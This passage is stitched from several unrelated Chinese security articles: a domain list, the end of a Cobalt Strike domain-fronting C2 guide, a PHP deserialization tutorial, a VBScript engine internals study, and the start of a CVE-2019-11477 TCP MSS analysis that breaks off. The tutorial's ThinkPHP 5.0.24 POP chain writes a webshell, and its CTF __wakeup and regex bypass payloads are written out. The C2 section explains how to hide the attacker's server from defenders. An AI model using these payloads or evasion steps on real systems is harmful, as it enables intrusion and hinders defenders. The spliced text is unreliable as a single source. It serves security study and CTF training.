app.hao24.cn
app.hrmarket.net
app.k3.cn
app.kyjxy.com
app.lanjinger.com
app.lezi.com
app.meiduimall.com
app.sanqin.com
app.sanqin.com
配置成功后，输入 `curl -v "www.microport.com/een" -H "Host:dns.google.cn"`
可以查看cs的weblog,看见请求/een的日志，证明配置成功。
cs生成Windows exe，运行成功上线.可以看到14.17.67.46
东莞IP上线。无直接跟c2连接的域名信息，这样来说蓝队在防守的时候看到的是白名单域名，并且也无法溯源到我们真实的vps地址。
### 参考
[Cobalt Strike特征修改](https://www.cnblogs.com/websecyw/p/12058948.html)
* * * | 社区文章 |
# PHP框架反序列化入门系列（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 前言
本文面向拥有一定PHP基础的萌新选手,从反序列化的简略原理->实战分析经典tp5.0.x的漏洞->讨论下CTF做题技巧,后面系列就倾向于针对不同PHP框架如何有效地挖掘反序列化漏洞和快速构造POC的技术探讨。
## 0x1 PHP反序列化原理
序列化技术的出现主要是解决抽象数据存储问题,反序列化技术则是解决序列化数据抽象化的。换句话来说, 一个类的对象,
像这种具有层级结构的数据，你没办法直接像文本那样存储，所以我们必须采取某种规则将其文本化(流化)，反序列化的时候再复原它。
这里我们可以举一个例子:
<?php
class A{
public $t1;
private $t2='t2';
protected $t3 = 't3';
}
// create a is_object
$obj = new A();
$obj->t1 = 't1';
var_dump($obj);
echo serialize($obj);
?>
我们不难看到序列化的过程就是将层次的抽象结构变成了可以用流表示的字符串。
`O:1:"A":3:{s:2:"t1";s:2:"t1";s:5:"At2";s:2:"t2";s:5:"*t3";s:2:"t3";}`
我们可以分析下这个字符串
> public的属性在序列化时，直接显示属性名
> protected的属性在序列化时，会在属性名前增加`0x00*0x00`，其长度会增加3
> private的属性在序列化时，会在属性名前增加`0x00classname0x00`，其长度会增加`类名长度`+2
反序列化的话,就能依次根据规则进行反向复原了。
## 0x2 PHP反序列化攻击
按道理来说,PHP反序列乍看是一个很正常不过的功能, 为什么我们听到反序列化更多的是将其当作一种漏洞呢? 到底存不存在合理安全的反序列化流程?
回答这个问题, 我们得清楚这个反序列过程,其功能就类似于””创建了一个新的对象”(复原一个对象可能更恰当),
并赋予其相应的属性值,在反序列过程中,如果让攻击者任意反序列数据，
那么攻击者就可以实现任意类对象的创建，如果一些类存在一些自动触发的方法(或者代码流中有一些行为会自动触发一些方法)，那么就有可能以此为跳板进而攻击系统应用。
那么什么是自动触发的方法呢?
在PHP中我们称其为[魔术方法](https://www.php.net/manual/zh/language.oop5.magic.php)
通过阅读文档我们可以发现一个有意思的现象:
我们可以将其理解为 **序列化攻击** ,这里我不展开探讨,欢迎读者去研究。
同样我们可以发现,反序列过程中`__wakeup()`魔术方法会被自动触发,我们可以整理下PHP的各种魔术方法及其触发条件。
>
> __construct() #类的构造函数
> __destruct() #类的析构函数
> __call() #在对象中调用一个不可访问方法时调用
> __callStatic() #用静态方式中调用一个不可访问方法时调用
> __get() #获得一个类的成员变量时调用
> __set() #设置一个类的成员变量时调用
> __isset() #当对不可访问属性调用isset()或empty()时调用
> __unset() #当对不可访问属性调用unset()时被调用。
> __sleep() #执行serialize()时，先会调用这个函数
> __wakeup() #执行unserialize()时，先会调用这个函数
> __toString() #类被当成字符串时的回应方法
> __invoke() #调用函数的方式调用一个对象时的回应方法
> __set_state() #调用var_export()导出类时，此静态方法会被调用。
> __clone() #当对象复制完成时调用
> __autoload() #尝试加载未定义的类
> __debugInfo() #打印所需调试信息
>
这里我们着重需要注意的是:
`__construct()`
`__destruct()`
`__wakeup()`
我们可以写代码验证一下这三者的关系。
<?php
class A{
public $t1;
private $t2='t2';
protected $t3 = 't3';
function __wakeup(){
var_dump("i am __wakeup");
}
function __construct(){
var_dump("i am __construct");
}
function __destruct(){
var_dump("i am __destruct");
}
}
// create a is_object
$obj = new A();
$obj->t1 = 't1';
echo "=====serialize=====";
echo '<br>';
echo serialize($obj);
echo '<br>';
echo "=====unserialize=====";
unserialize( serialize($obj));
echo '<br>';
?>
所以说反序列化能直接自动触发的函数就是:`__wakeup` `__destruct`
那么为什么`__construct`不能呢? 我们可以这样理解,因为序列化本身就是存储一个已经初始化的的对象的值了,
所以没必要去执行`__construct`,或者说序列化过程本身没有创建对象这一过程,所以说挖掘PHP反序列化最重要的一步就是通读系统所有的`__wakeup`
`__destruct`函数, 然后于此接着挖掘其他点, 这也是目前大多数反序列化的挖掘思路,
更隐蔽的话比较骚的可能就是那些不是很直接的调用魔术方法的挖掘思路了, 这部分比较难实现自动化(规则很难控制,欢迎师傅找我交流)
那么怎么来实现安全反序列化呢?
**反序列化内容不要让用户控制(加密处理等处理方法), 因为组件依赖相当多,黑名单的路子就没办法行得通的**
但是众所周知,PHP的文件处理函数对`phar`协议处理会自动触发反序列化可控内容,从而大大增加了反序列化的攻击面, 所以说想要杜绝此类问题,
对程序猿的安全觉悟要求相当高, 需要严格控制用户操作比如文件相关操作等。
当然像我这种菜B程序猿采取的方案就是:
**暴力直接写死 **destruct and** wakeup 函数**
### 0x2.1 POP链原理简化
<?php
class A{
public $obj;
function __construct(){
var_dump("i am __construct");
}
function __destruct(){
var_dump("i am __destruct");
var_dump(file_exists($this->obj));
}
}
class B{
public $obj;
function __toString(){
var_dump("I am __toString of B!");
// 触发 __call 方法
$this->obj->getAttr("test", "t2");
return "ok";
}
}
class C{
function __call($t1, $t2){
var_dump($t1);
var_dump($t2);
var_dump("I am __call of C");
}
}
$objC = new C();
$objB = new B();
$objA = new A;
// 触发C的__call，将C类的对象$objC给B的$obj属性。
$objB->obj = $objC;
// 这里为了触发的__toString, 将B类的对象$objB给A的$obj属性
$objA->obj = $objB;
其实这种就是类组合的应用, 一个类A中包含另外一个类B的对象, 然后通过该B对象调用其方法,从而将利用链转移到另外一个类B,
只不过这些方法具备了”自动触发”性质,从而能够实现自动POP到具有RCE功能的类中去。
## 0x3 ThinkPHP5.0.x反序列化漏洞
这个漏洞最早是小刀师傅发现的, ，相当赞的挖掘过程, 与其他经典tp链不太一样,所以我就以此展开来学习了, 这里记录下我的复现过程。
### 0x3.1 安装ThinkPHP5.0.24
`composer create-project --prefer-dist topthink/think=5.0.24 tp5024`
等待下载完即可
### 0x3.2 TP框架知识点入门
`thinkphp/tp5024/application/index/controller/Index.php`
我们修改其内容(手工构造一个反序列化的点,方便调试)
<?php
namespace appindexcontroller;
class Index
{
public function index()
{
// vuln
unserialize(@$_GET['c']);
return 'thinkphp 5.0.24';
}
}
在正式开始审计之前我们了解一下TP框架中命名空间与类库的内容。
详细内容参考tp官方文档: [命名空间](http://jinhuajuanke.cn/manual/tp5manual/114.html)
**1.什么是命名空间?**
> 命名空间是在php5.3中加入的, 其实许多语言(java、c#)都有这个功能。
>
> 简单理解就是分类的标签, 更加简单的理解就是我们常见的目录(其作用就是发挥了命名空间的作用)
>
> 用处:
>
> 1.解决用户编码与PHP内部的类/函数/常量或第三方类/函数/常量之间的名字冲突
>
> 2.为很长的标识符名称创建一个别名的名称,提高源代码的可行性
这里展示下几个演示命名空间功能的例子:
* 1.命名空间用法(1)直接使`namespache`命名空间
<?php
// 用法1,不推荐
namespace sp1;
echo '"', __NAMESPACE__, '"';
namespace sp2;
echo '"', __NAMESPACE__, '"';
#输出output:
"sp1" "sp2"
(2)使用大括号模式,推荐使用
<?php
// 用法2,推荐
namespace sp1{
echo '"', __NAMESPACE__, '"';
}
namespace sp2{
echo "</br>";
echo '"', __NAMESPACE__, '"';
echo "</br>";
}
namespace { //全局空间
echo '"', __NAMESPACE__, '"';
}
#输出output:
"sp1"
"sp2"
""
* 2.使用命名空间
> 1. **非限定名称，或不包含前缀的类名称，** 例如 $a=new foo(); 或
> foo::staticmethod();。如果当前命名空间是 currentnamespace，foo 将被解析为
> currentnamespacefoo。如果使用 foo 的代码是全局的，不包含在任何命名空间中的代码，则 foo 会被解析为foo。
> 警告：如果命名空间中的函数或常量未定义，则该非限定的函数名称或常量名称会被解析为全局函数名称或常量名称。
> 2. **限定名称,或包含前缀的名称，** 例如 $a = new subnamespacefoo(); 或
> subnamespacefoo::staticmethod();。如果当前的命名空间是 currentnamespace，则 foo 会被解析为
> currentnamespacesubnamespacefoo。如果使用 foo 的代码是全局的，不包含在任何命名空间中的代码，foo
> 会被解析为subnamespacefoo。
> 3. **完全限定名称，或包含了全局前缀操作符的名称，** 例如， $a = new currentnamespacefoo(); 或
> currentnamespacefoo::staticmethod();。在这种情况下，foo 总是被解析为代码中的文字名(literal
> name)currentnamespacefoo。
>
> > <?php
> namespace FooBar;
> include 'file1.php';
>
> const FOO = 2;
> function foo() {}
> class foo
> {
> static function staticmethod() {}
> }
>
> /* 非限定名称 */
> foo(); // 解析为函数 FooBarfoo
> foo::staticmethod(); // 解析为类 FooBarfoo ，方法为 staticmethod
> echo FOO; // 解析为常量 FooBarFOO
>
> /* 限定名称 */
> subnamespacefoo(); // 解析为函数 FooBarsubnamespacefoo
> subnamespacefoo::staticmethod(); // 解析为类 FooBarsubnamespacefoo,
> // 以及类的方法 staticmethod
> echo subnamespaceFOO; // 解析为常量 FooBarsubnamespaceFOO
>
> /* 完全限定名称 */
> FooBarfoo(); // 解析为函数 FooBarfoo
> FooBarfoo::staticmethod(); // 解析为类 FooBarfoo, 以及类的方法 staticmethod
> echo FooBarFOO; // 解析为常量 FooBarFOO
> ?>
>
* 3.别名/导入
> PHP 命名空间支持 有两种使用别名或导入方式：为类名称使用别名，或为命名空间名称使用别名。
>
> 在PHP中，别名是通过操作符 use 来实现的.
>
> 下面是一个使用所有可能的三种导入方式的例子：
>
> 1、使用use操作符导入/使用别名
>
> > <?php
> namespace foo;
> use MyFullClassname as Another;
>
> // 下面的例子与 use MyFullNSname as NSname 相同
> use MyFullNSname;
>
> // 导入一个全局类
> use ArrayObject;
>
> $obj = new namespaceAnother; // 实例化 fooAnother 对象
> $obj = new Another; // 实例化 MyFullClassname 对象
> NSnamesubnsfunc(); // 调用函数 MyFullNSnamesubnsfunc
> $a = new ArrayObject(array(1)); // 实例化 ArrayObject 对象
> // 如果不使用 "use ArrayObject" ，则实例化一个 fooArrayObject 对象
> ?>
>
**2.tp中的根命名空间**
> 名称 | 描述 | 类库目录
> ---|---|---
> think | 系统核心类库 | thinkphp/library/think
> traits | 系统Trait类库 | thinkphp/library/traits
> app | 应用类库 | application
>
>
> 如果需要增加新的根命名空间，有两种方式：注册新的根命名空间或者放入`EXTEND_PATH`目录（自动注册）。
>
>
> thinkphp/library/think 这个就是tp的关键类库,也是们构造反序列化链的核心代码区域。
**3.tp的类自动加载机制**
详细内容参考官方文档的: [自动加载](http://jinhuajuanke.cn/manual/tp5manual/115.html)
> 原理就是根据类的命名空间定位到类库文件
>
> 然后我们创建实例的时候系统会自动加载这个类库进来。
>
> example:
>
> 框架的Library目录下面的命名空间都可以自动识别和定位，例如：
>
> 1. `├─Library 框架类库目录`
> 2. `│ ├─Think 核心Think类库包目录`
> 3. `│ ├─Org Org类库包目录`
> 4. `│ ├─ ... 更多类库目录`
>
>
> Library目录下面的子目录都是一个根命名空间，也就是说以Think、Org为根命名空间的类都可以自动加载：
>
> 1. `new ThinkCacheDriverFile();`
> 2. `new OrgUtilAuth();`
>
>
> 都可以自动加载对应的类库文件,后面构造POC的时候会再次涉及到这个知识点。
### 0x3.3 尝试分析5.0.x反序列化
笔者环境: Mac OS, phpstorm
类库搜索:`__destruct`
定位到入口:`/tp5024/thinkphp/library/think/process/pipes/Windows.php`
public function __destruct()
{
$this->close();
$this->removeFiles();//跟进这个函数
}
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) { //这里可以触发__toString
@unlink($filename);//这里可以反序列删除任意文件
}
}
$this->files = [];
}
我们接着可以全局搜索下有没有合适的`__toString`方法
`tp5024/thinkphp/library/think/Model.php`
public function __toString()
{
return $this->toJson();
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options); //跟进
}
我们需要控制两个值:`$modelRelation` and `$value`,这里其实具体还是比较复杂的,
这里我们假设可以任意控制,先理解清楚后面的写`shell`流程,掌握主干的方向。
通过控制`$modelRelation`我们可以走到`$value-getAttr($attr)`,其中`$value`也是我们可以控制的,我们将其控制为`thinkconsoleconsole`的对象,最终进入到了
`thinkphp/library/think/console/Output.php`
因为不存在`getAttr`方法从而调用了`__call`
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
//跟进这个函数调用
}
............
}
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");//继续跟进
}
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);//跟进
}
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}
当来到这里的时候`$this-handle`我们是可以控制的,但是我们一直可以控制的参数值只有一个那就是上面的`$messages`,其他的参数值没办法控制
namespace thinkconsole{
class Output{
private $handle = 这里可以控制为任意对象;
protected $styles = [
'getAttr'
];
}
}
这里我们选择控制为`thinksessiondriverMemcached`的对象然后调用他的`write`方法
`tp5024/thinkphp/library/think/session/driver/Memcached.php`
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);//跟进看看
}
这里是关键写入shell的地方,我们从`file_put_contents`反向溯源`$filename`and`data`,看下数据是怎么流向的。
public function set($name, $value, $expire = null)
{
//$value 我们没办法控制
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
第一次我们是没办法控制写入的内容,但是这里进行了二次写入
`$this->setTagItem($filename)`,跟进看看
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name; //这里$value可以被我们控制
}
$this->set($key, $value, 0);//这里再次进行了写入
}
}
最终的指向效果就是:
生成的shell文件名就是:
`<?cuc cucvasb();?>3b11e4b835d256cc6365eaa91c09a33f.php`
上面介绍了反序列化的主要流程
下一篇文章我会着重讲下该POC的构造过程,探究下优化的可能性。
## 0x4 CTF中反序列化的考点
打了几场比赛, 顺便总结下CTF中反序列化经常考的点, 这些点有可能今后在实战审计中用到, 因为这些点正是一些cms的防护被绕过的例子。
### 0x4.1 __wakeup 绕过
通过前面我们可以知道反序列化的时候会自动触发`__wakeup`,所以有些程序猿在这个函数做了些安全检查。
<?php
class Record{
public $file='hacker';
public function __wakeup()
{
$this->file = 'hacker';
}
public function __destruct()
{
if($this->file !== 'hacker'){
echo "flag{success!}";
}else
{
echo "try again!";
}
}
}
$obj = new Record();
$obj->file = 'boy';
echo urlencode(serialize($obj));
// vuln
unserialize($_GET['c']);
?>
O%3A6%3A%22Record%22%3A0%3A%7B%7D
// 解码后
O:6:"Record":0:{}
这里我们反序列化的时候,修改下对象的属性值数目,就可以绕过
O:6:"Record":0:{}
//修改后
O:6:"Record":1:{}
//编码后
O%3a6%3a%22record%22%3a1%3a%7b%7d
成员属性值数目大于真实的数目,便能不触发`__wakeup`方法,实现绕过
### 0x4.2 绕过`preg_match('/[oc]:d+:/i',$cmd`
<?php
class Record{
public function __wakeup()
{
var_dump("i am __wakeup");
$this->file = 'hacker';
}
public function __destruct()
{
var_dump("i am __destruct");
}
}
$obj = new Record();
echo urlencode(serialize($obj));
// vuln
if (preg_match('/[oc]:d+:/i',$_GET['c']))
{
die('<br>what?');
}else
{
var_dump("Hello");
unserialize($_GET['c']);
}
?>
这个是其他师傅fuzz出来的一个小技巧,对象长度可以添加个`+`来绕过正则
O:6:"Record":0:{}
//修改后
O:+6:"Record":1:{}
//编码后
O%3a%2b6%3a%22record%22%3a1%3a%7b%7d
### 0x4.3 绕过`substr($c, 0, 2)!=='O:'`
这个限制当时在华中赛区的时候还卡了我一下, 就是限制了开头不能为对象类型,
不过这道题目之前腾讯的某个ctf出过,所以难度不是很大,这里记录下数组绕过的方法
<?php
class Record{
public function __wakeup()
{
var_dump("i am __wakeup");
$this->file = 'hacker';
}
public function __destruct()
{
var_dump("i am __destruct");
}
}
$obj = new Record();
//数组化
$a = array($obj);
echo urlencode(serialize($a));
// vuln
if (substr($_GET['c'], 0, 2)=='O:')
{
die('<br>what?');
}else
{
var_dump("Hello");
unserialize($_GET['c']);
}
?>
O:6:"Record":0:{}
//修改后
a:1:{i:0;O:6:"Record":1:{}}
//编码后
a%3A1%3A%7Bi%3A0%3BO%3A6%3A%22Record%22%3A1%3A%7B%7D%7D
反序列化的时候他是会从反序列化数组里面的内容的。
### 0x4.4 反序列化的字符逃逸
这个内容我接触的可能比较少, 是一些有点偏的特性,这里分享几篇资料,读者有兴趣可以自行研究或者与我一起探讨下:
[详解PHP反序列化中的字符逃逸](https://xz.aliyun.com/t/6718)
[一道ctf题关于php反序列化字符逃逸](http://www.lin2zhen.top/index.php/archives/73/)
其实原理简单来说就是:
就是序列化数据拼接的时候容错机制导致的问题,导致了可以伪造序列化数据内容。
## 0x5 总结
PHP的反序列化学习起来比python、java那些反而更加简单和直接,
非常适合萌新选手入门反序列化前掌握反序列化思想,同样其利用方面也是极具威胁性的，毕竟使用框架的cms那么多，就算不使用框架，也一样会存在风险。随着后期发展，我感觉反序列化漏洞会超越传统SQL注入、任意文件上传等主流的高危漏洞,
欢迎师傅们与我一起探讨深入研究各种相关骚操作。
## 0x6 参考链接
[PHP反序列化原理及漏洞解析](https://cjjkkk.github.io/phpUnserialize/)
[ ThinkPHP v5.0.x 反序列化利用链挖掘](https://www.anquanke.com/post/id/196364)
[命名空间自动加载](https://www.cnblogs.com/furuihua/p/11759779.html)
[ThinkPHP反序列化pop链分析](//passingfoam.com/2019/09/13/ThinkPHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96pop%E9%93%BE%E5%88%86%E6%9E%90/))
[PHP 内核层解析反序列化漏洞](https://paper.seebug.org/866/) | 社区文章 |
近来分析Internet Explorer历史漏洞，遂对VBScript脚本解析引擎进行研究，具体环境如下：
* OS版本：Windows 7 Service Pack 1
* Internet Explorer版本：8.0.7601.17514
* vbscript.dll版本：5.8.7601.17514
## 0x01 变量
VBScript中仅有一种数据类型——Variant。其结构定义如下：
typedef struct tagVARIANT {
union {
struct {
VARTYPE vt;
WORD wReserved1;
WORD wReserved2;
WORD wReserved3;
union {
LONGLONG llVal;
LONG lVal;
BYTE bVal;
SHORT iVal;
FLOAT fltVal;
DOUBLE dblVal;
VARIANT_BOOL boolVal;
VARIANT_BOOL __OBSOLETE__VARIANT_BOOL;
SCODE scode;
CY cyVal;
DATE date;
BSTR bstrVal;
IUnknown *punkVal;
IDispatch *pdispVal;
SAFEARRAY *parray;
BYTE *pbVal;
SHORT *piVal;
LONG *plVal;
LONGLONG *pllVal;
FLOAT *pfltVal;
DOUBLE *pdblVal;
VARIANT_BOOL *pboolVal;
VARIANT_BOOL *__OBSOLETE__VARIANT_PBOOL;
SCODE *pscode;
CY *pcyVal;
DATE *pdate;
BSTR *pbstrVal;
IUnknown **ppunkVal;
IDispatch **ppdispVal;
SAFEARRAY **pparray;
VARIANT *pvarVal;
PVOID byref;
CHAR cVal;
USHORT uiVal;
ULONG ulVal;
ULONGLONG ullVal;
INT intVal;
UINT uintVal;
DECIMAL *pdecVal;
CHAR *pcVal;
USHORT *puiVal;
ULONG *pulVal;
ULONGLONG *pullVal;
INT *pintVal;
UINT *puintVal;
struct {
PVOID pvRecord;
IRecordInfo *pRecInfo;
} __VARIANT_NAME_4;
} __VARIANT_NAME_3;
} __VARIANT_NAME_2;
DECIMAL decVal;
} __VARIANT_NAME_1;
} VARIANT;
其中`VARTYPE`可参阅[Microsoft Docs——VARIANT Type
Constants](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f)。例：
'显式声明
Dim Name,Age,Hex,Pi
Name="Ethon"
Age=27
Hex=&h80000000
Pi=3.1415926
'隐式声明
Hello="ABC123"
赋值对应函数为`vbscript!AssignVar`，于该函数处设断，查看其参数：
`0x400C`表示`VT_VARIANT`：
判断`pvargSrc—>vt`值(具体数值可自行分析，不赘述)，若均不满足，执行如下语句：
简单来说，即`VariantCopyInd(&pvarDest, pvargSrc)`——>copy `pvarDest` to `pvarg`：
隐式声明变量其`pvarg`全为零：
## 0x02 数组
数组存储结构由`SAFEARRAY`定义：
typedef struct tagSAFEARRAY {
USHORT cDims;
USHORT fFeatures;
ULONG cbElements;
ULONG cLocks;
PVOID pvData;
SAFEARRAYBOUND rgsabound[1];
} SAFEARRAY;
其中各字段含义可参阅[Microsoft Docs——SAFEARRAY](https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray)，`SAFEARRAYBOUND`结构定义如下：
typedef struct tagSAFEARRAYBOUND {
ULONG cElements;
LONG lLbound;
} SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
数组定义及赋值操作：
Dim stu_name(3)
stu_name(0)="Alan"
stu_name(1)="Susan"
stu_name(2)="Lisa"
stu_name(3)="Mary"
VBS中数组下标由0开始，数组元素个数为n+1(`Dim array_name(n)`)。另一种定义数组方法：
Dim stu_name
stu_name=Array("Alan","Susan","Lisa","Mary")
对应函数为`vbscript!MakeArray`：
传递给函数的参数有二——`cDims`对应维数，`VAR`对应n。`cDims`应介于1-64：
先来看一维数组的创建：
为`rgsabound`结构各字段赋值：
之后则直接调用`SafeArrayCreate`函数进行创建，各参数含义可参阅[Microsoft
Docs——SafeArrayCreate](https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraycreate)。创建完成：
为数组元素赋值则直接将该元素所在内存偏移传递给`vbscript!AssignVar`：
* * *
下面来看看二维数组(`Dim stu_name(2,3)`)创建过程：
可以看到数组各维大小于内存中并列存储，之后调用`VAR::PvarGetTypeVal`逐一读取为`rgsabound`中`cElements`字段赋值：
各维大小于内存中由最高维——>最低维存储，故读取时首先计算出`v3`变量指向最低维大小所在内存偏移，之后递减。创建完成：
* * *
`Redim`语句用于重新定义数组大小：
'定义一维动态数组
Dim MyArray()
'重新定义该数组大小
ReDim MyArray(3)
MyArray(0) = "A"
MyArray(1) = "B"
MyArray(2) = "C"
MyArray(3) = "C"
再次调用`vbscript!MakeArray`过程如下：
而在重新定义时加上`Preserve`关键字用于保留之前元素：
Dim MyArray()
ReDim MyArray(3)
MyArray(0) = "A"
MyArray(1) = "B"
MyArray(2) = "C"
MyArray(3) = "D"
ReDim Preserve MyArray(5)
MyArray(4) = "E"
MyArray(5) = "F"
其对应`vbscript!RedimPreserveArray`函数：
为`psaboundNew`各字段赋值完成后传递给`SafeArrayRedim`函数：
## 0x03 可用于调试时函数
`IsEmpty(var)`对应`vbscript!VbsIsEmpty`，其第三个参数对应`var`。一例：
<!doctype html>
<html lang="en">
<head>
</head>
<body>
<script LANGUAGE="VBScript">
dim a
a = &h1234
IsEmpty(a)
</script>
</body>
</html>
`IsObject(var)`对应`vbscript!VbsIsObject`，同样，其第三个参数对应`var`。一例：
<!doctype html>
<html lang="en">
<head>
</head>
<body>
<script LANGUAGE="VBScript">
dim a
a = &h1234
IsObject(a)
</script>
</body>
</html>
在调试时可借助这两个函数以确定变量值或内存位置。
## 0x04 VarType函数
<!doctype html>
<html lang="en">
<head>
</head>
<body>
<script LANGUAGE="VBScript">
dim a
a = &h1234
VarType(a)
</script>
</body>
</html>
`VarType`对应`vbscript!VbsVarType`，其调用`GetVarType`函数获取类型值并完成赋值操作：
参数1用于存储类型值，参数2为`VarType`参数：
`GetVarType`函数调用`PvarGetVarVal`——判断类型值是否为`0x4A`或`0x0C`：
之后与`0x09`进行比较，若不是则直接返回对象进而获取`vt`值：
由`VbsVarType`函数完成最终赋值给参数1操作：
## 0x05 LenB函数
<!doctype html>
<html lang="en">
<head>
</head>
<body>
<script LANGUAGE="VBScript">
On Error Resume Next
Dim length,a
a=1.12345678901235
length=LenB("Hello")
length=LenB(a)
</script>
</body>
</html>
该函数用于返回存储字符串字节大小，其对应`vbscript!VbsLenB`。参数为字符串时，该函数先是`call
VAR::BstrGetVal`，返回`pbstrVal`：
之后`call cbLengthBstr`返回长度：
参数为变量时， `VAR::BstrGetVal`函数调用`VAR::PvarConvert`，将其内容转换为字符串：
之后再进行计算：
`cbLengthBstr`函数功能仅是读取字符串存储位置之前4字节内容，该内容为字符串长度：
## 0x06 参阅链接
* [Microsoft Docs——SAFEARRAY structure](https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray)
* [Microsoft Docs——VARIANT structure](https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-variant)
* [Microsoft Docs——VARIANT Type Constants](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f)
* [Microsoft Docs——SafeArrayCreate](https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraycreate)
* [Microsoft Docs——DECIMAL structure](https://docs.microsoft.com/en-us/windows/win32/api/wtypes/ns-wtypes-decimal-r1) | 社区文章 |
**Author: Hcamael@Knownsec 404 Team**
**Chinese Version:<https://paper.seebug.org/966/>**
# Overview
Last Week, Linux fixes 4 kernel CVE vulnerabilities[1]. Among them,
CVE-2019-11477 makes me feel like a very powerful Dos vulnerability. However,
because there are other things interrupted, my research progress is slower.
For now, there have been some related analysis article in the Internet.[2][3]
In the process of trying to reproduce the CVE-2019-11477 vulnerability, I
encountered a problem in setting the MSS in the first step, and I could not
achieve the expected results. However, the current published analytical
article did not elaborate on this part. So this article will analyze the MSS
mechanism of TCP through the Linux kernel source code.
# Test Environment
##### 1\. Targets with Vulnerabilities
OS: Ubuntu 18.04
Kernel: 4.15.0-20-generic
IP address: 192.168.11.112
Kernel Source Code:
$ sudo apt install linux-source-4.15.0
$ ls /usr/src/linux-source-4.15.0.tar.bz2
Kernel Binary with symbols:
$ cat /etc/apt/sources.list.d/ddebs.list
deb http://ddebs.ubuntu.com/ bionic main
deb http://ddebs.ubuntu.com/ bionic-updates main
$ sudo apt install linux-image-4.15.0-20-generic-dbgsym
$ ls /usr/lib/debug/boot/vmlinux-4.15.0-20-generic
Close Kernel Address Space Layout Randomization(KALSR):
# because the Kernel is started by grup，we can modify grup config to add "nokaslr" to kernel started argv.
$ cat /etc/default/grub |grep -v "#" | grep CMDLI
GRUB_CMDLINE_LINUX_DEFAULT="nokaslr"
GRUB_CMDLINE_LINUX=""
$ sudo update-grub
Use Nginx for testing:
$ sudo apt install nginx
##### 2\. Host
OS: MacOS
Wireshark: Capture traffic
VM: VMware Fusion 11
Use VM to Deubg Linux:
$ cat ubuntu_18.04_server_test.vmx|grep debug
debugStub.listen.guest64 = "1"
Compile gdb：
$ ./configure --build=x86_64-apple-darwin --target=x86_64-linux --with-python=/usr/local/bin/python3
$ make
$ sudo make install
$ cat .zshrc|grep gdb
alias gdb="~/Documents/gdb_8.3/gdb/gdb"
Use gdb for remote debug：
$ gdb vmlinux-4.15.0-20-generic
$ cat ~/.gdbinit
define gef
source ~/.gdbinit-gef.py
end
define kernel
target remote :8864
end
##### 3\. Attacker
OS: Linux
IP Address: 192.168.11.111
If you're accustomed to Python, install a Scapy to send TCP package.
# Customize SYN MSS Option
There are three ways to set the MSS value of the TCP SYN packet.
##### 1\. iptable
# Add rules
$ sudo iptables -I OUTPUT -p tcp -m tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 48
# delete rules
$ sudo iptables -D OUTPUT -p tcp -m tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 48
##### 2\. ip route
# show router information
$ route -ne
$ ip route show
192.168.11.0/24 dev ens33 proto kernel scope link src 192.168.11.111 metric 100
# modify route table
$ sudo ip route change 192.168.11.0/24 dev ens33 proto kernel scope link src 192.168.11.111 metric 100 advmss 48
##### 3\. use scapy to send packet
PS: Using Scapy to send TCP packet needs ROOT permissions.
from scapy.all import *
ip = IP(dst="192.168.11.112")
tcp = TCP(dport=80, flags="S",options=[('MSS',48),('SAckOK', '')])
The "S" in the flags option indicates "SYN"; "A" indicates "ACK" and "SA"
indicates "SYN, ACK".
The TCP options table that can be set via Scapy is as follows:
TCPOptions = (
{
0 : ("EOL",None),
1 : ("NOP",None),
2 : ("MSS","!H"),
3 : ("WScale","!B"),
4 : ("SAckOK",None),
5 : ("SAck","!"),
8 : ("Timestamp","!II"),
14 : ("AltChkSum","!BH"),
15 : ("AltChkSumOpt",None),
25 : ("Mood","!p"),
254 : ("Experiment","!HHHH")
},
{
"EOL":0,
"NOP":1,
"MSS":2,
"WScale":3,
"SAckOK":4,
"SAck":5,
"Timestamp":8,
"AltChkSum":14,
"AltChkSumOpt":15,
"Mood":25,
"Experiment":254
})
But there will be a problem after sending a SYN package with Python: kernel
will automatically send a RST packet. After checking some papers, it's found
out that:
> Since you haven't completed the full TCP handshake, your operating system
> might try to take control and start sending RST(reset) packets.
The solution is to use iptable to filter the RST package:
$ sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -s 192.168.11.111 -j DROP
# In-depth Research of the MSS Mechanism
The details of the vulnerability have been analyzed in many other articles.
Here is a brief summary that the vulnerability is a uint16 integer overflow:
tcp_gso_segs uint16
